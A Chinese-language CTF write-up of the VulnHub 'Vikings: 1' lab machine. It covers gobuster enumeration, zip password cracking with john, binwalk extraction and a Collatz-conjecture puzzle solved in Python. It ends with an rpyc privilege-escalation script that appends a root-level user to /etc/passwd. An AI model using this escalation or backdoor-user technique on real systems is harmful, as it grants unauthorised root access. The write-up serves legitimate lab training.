本次靶机是CTF风格的靶机。
靶场地址:Vikings: 1 ~ VulnHub
网络呢还是桥接模式。
Description
A CTF machine with full of challenges
Do what is visible, no rabbit holes
Learn new things, and make sure that you enum first then hack.
Discord- luckythandel#6053 {for any-hint}
This works better with VirtualBox rather than VMware
一;信息收集哇。
1;快速简单方便的发现主机和开放的服务端口。
2;访问一下,很帅。
3;爆破一下子目录。
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.60/site/ -x txt,tar.tar.gz,php
4;看一下有没有什么有用的东西。
5;将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip
curl http://192.168.1.66/site/war-is-over/ | base64 -d > upfine
6;修改后缀,查看一下,需要密码。fcrackzip工具也能用来爆破密码,fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。
那就换一个zip2john。zip2john upfine.zip > paswd
用字典爆破。 john --wordlist=/usr/share/wordlists/rockyou.txt paswd
binwalk -e king --run-as=root
换这个工具查看隐藏信息,然后提取出来,然后提示我们加--run-as=root,之后目录下会多个目录。
用户名密码:floki/f@m0usboatbuilde7
二;漏洞枚举
1;登录ssh,
2;看看是什么东西。
编辑
我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎但还是失败了。战后我们不知道拉格纳在哪。他现在很悲伤。我想向他道歉。
因为是我领导了所有的维京人。我得找到他。他可能在任何地方。
#可打印字符是你的盟友。
#num = 29个质数。
collatz-conjecture (num)
3;考拉兹猜想
collatz-conjecture经过搜索为考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想、3n+1猜想、冰雹猜想、角谷猜想、哈塞猜想、乌拉姆猜想或叙拉古猜想,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。通过前面对数列求解的认识,我们可以类似的编写程序。这里判断奇数/偶数可以用求余函数mod,判断可以用if语句,循环终止是数列的某项达到1,可以用while语句。
所以boat的意思是让我们对第二十九个质数做考拉兹猜想,所得到的数的数列,其中可打印的字符(ascall可以代表的字符,256以内),就是我们要得到的
首先我们编写一段简单的python代码来计算出第二十九个质数。
n = 0
for i in range(1000):
flag = 0
if i < 2:
continue
j = int(i/2) + 1
for k in range(2,j):
if i % k == 0:
flag = 1
break
if flag == 0:
n += 1
print("第",n,"个质数为",i)
n = 109
num = []
num.append(n)
while n != 1:
if n % 2 == 0:
n =int(n / 2)
else:
n= int(3 * n + 1)
if(n < 256):
num.append(n)
print(num)
for i in num:
j = chr(i)
print(j,end='')
4;使用cyberchef的Strings模块分出所有可打印的字符,因为输出是每个字符占一行所以再用replace模块替换掉换行符方便复制密码,也要掉所有空格.
5;所以,ragnar用户的密码是:mR)|>^/Gky[gz=\.F#j5P(
第一个falg.
linux登录自动执行命令,可以通过
- 对于当前用户生效的
- 编辑当前主目录下的.bashrc文件添加一个指令
- 编辑当前主目录下的.profile文件
- .bash_profile文件
- 对于全局用户生效的
- /etc/profile
有一个文件是以root权限运行。通过搜索我们发现这个程序也是一个客户端服务端的程序,并且这个服务端文件的运行用户为root,我们可以通过编写代码向服务端发送特殊请求来获得root用户的shell。
1;写shell,调用有root执行rpyc.classic.connect文件的权限,创建一个用户和用户密码,写入shell,然后执行,最后,su sing。哦了!
import rpyc
def exp():
import os
os.system("echo 'sing:$1$tad/je9c$twFkrVbv69ZQt3mPBFrHX1:0:0:root:/root:/bin/bash' >> /etc/passwd")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(exp)
fn()
2;提权成功,第二个falg.